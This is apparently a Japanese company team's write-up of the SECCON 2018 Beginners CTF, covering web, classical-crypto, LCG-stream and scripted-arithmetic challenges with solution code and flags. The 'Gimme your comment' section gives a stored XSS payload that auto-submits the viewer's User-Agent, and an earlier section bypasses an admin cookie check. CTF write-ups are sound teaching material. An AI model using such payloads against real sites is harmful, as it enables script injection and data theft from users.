SECCON 2018 BeginnersCTF に参加しました(Write-up)

こんにちは、システム事業部の村田です。

5/26〜27に行われていた、SECCON 2018 BeginnersCTFに、弊社の有志で集まって参加しました。
Beginnersということで初心者向けの問題も多く、前回チャレンジしたSECCON 2017 Online CTFよりもある程度解けて楽しかったです。

が、やはりpwn、reversing系の問題は全くわかりませんでした・・・
次参加するときは、事前に少し勉強してみようと思います。

以下が、今回のスコアでした。 f:id:zenet-tech:20180528184942p:plain f:id:zenet-tech:20180528184953p:plain

470ポイントで206位、ちょっと頑張れば手が届く問題が多く、初心者の私としては非常にありがたかったです。

ここからは、それぞれ解答したメンバーにwrite upを書いてもらおうと思います。

[Warmup] Greeting(Web)

宮崎です。 管理者adminならフラグを表示してくれる問題でした。 ソースコードが記載されていたので読んでみると cookieにadminがいるかどうかで判断しているようでした。 postだと偽物にする仕様のようで、getで渡してあげると正解のようです。

フラグ => ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}

[Warmup] Veni, vidi, vici(Crypto)

十島です。 こちらの問題はpart1、2、3の3つのファイルからフラグを探し出すというものです。 ファイルの内容は次の通りです。

# part1
Gur svefg cneg bs gur synt vf: pgs4o{a0zber

# part2
Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u

# part3
{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥

それぞれみて見ると、part3は逆さ文字ということに気がつきます。 置き換えて見ると以下のようになり、フラグの最後が取得できました。

# part3
{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥
=> The threird part of the flag is: Rypt0graphy}

part3の形式からpart1、part2も同様の形式だと判断できるので、 以下のようにアルファベットを入れ替えていきます。

# part1
   Gur svefg cneg bs gur synt vf: pgs4o{a0zber
=> The first part of the flag is: ctf4b{m0nore 

# part2
   Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u
=> The second part of the flag is: _cLass!cal_c 

フラグはctf4b{m0nore_cLass!cal_cRypt0graphy}となります。

てけいさんえくすとりーむず(Misc)

村田です。

問題のurlにncコマンドで接続すると、100問の計算問題を300秒以内に解答しろと言われます。 私は3桁の四則演算は3秒では解けないので、Rubyでscriptを作りました。

require 'socket'

TCPSocket.open("tekeisan-ekusutoriim.chall.beginners.seccon.jp", 8690) do |s|
  11.times{puts s.gets}
  100.times do
    puts s.gets
    calc = s.gets(' ').chop.to_i.send(s.gets(' ').chop, s.gets(' ').chop.to_i)
    puts calc
    puts s.gets(' ').chop
    s.print("#{calc}\n")
    s.flush
  end
  
  s.each_line { |line| puts line }
end

実行すれば無事100問解いてくれます。

(Stage.98)
1588
=
(Stage.99)
1727
=
(Stage.100)
566796
=
Congrats.
Flag is: "ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}"

Rubyの標準入出力をちゃんと使ったことがなかったので改行周りでちょっと時間かかりましたが、なんとか。。。

Streaming(Crypto)

スマートではないのですが、自分なりの解き方説明です。(五十島

コードを読むと変換した結果をencryptedに出力しているようなので、開いてみます。 普通に開いてもよくわからないので、バイナリで出力してみると・・・数字が出力できたのでビンゴ!

$ od -tu1 encrypted
0000000   206  30 101  12   6  95 148  58  87  73  29  23 245  23  89  63
0000020   156  64 157  74  25  49 141  38  62  81 253   3 206  82  86  22

フラグなので最初は、ctf4b{のはずなので・・・ [206, 30] でcを表しているはずと仮定する。 プログラムから頑張って逆算すると、cで使用したseedが「15741」とわかるので、あとはencode.pyを利用して逆算プログラムを作成します。

import os

class Stream:
    A = 37423
    B = 61781
    C = 34607
    def __init__():
        self.seed = 15741

    def __iter__(self):
        return self

    def next(self):
        self.seed = (self.A * self.seed + self.B) % self.C
        return self.seed

g = Stream()
mod = [148, 87, 29, 245, 89, 156, 157, 25, 141, 62, 253, 206, 86]
res = [ 58, 73, 23, 23, 63, 64, 74, 49, 38, 81, 3, 82, 22]

for i in range(0, len(mod), 1):
    a = res[i] * 256 + mod[i]
    flag_i = a ^ g.next()
    print flag_i
# => 27747 26413 26995 11621 24947 26988 31021 28786 25956 26979 29793 25196 25981

出力された数字を文字列に変換して、フラグが取得できました。 ctf4b{lcg-is-easily-predictable}

Gimme your comment(Web)

新規登録をするときに本文に以下を入れて投稿すると・・・フラグが取得できる。(五十島) 勝手にUser-Agentをformに入れてsubmitする処理です。

<script>
    $(document).ready(function () {
        var userAgent = window.navigator.userAgent.toLowerCase();
        $('.form-control').val(userAgent);
        $('form').submit();
    });
</script>

もっとスマートにできるといいのだけど、自分のレベルではこれが限界でした。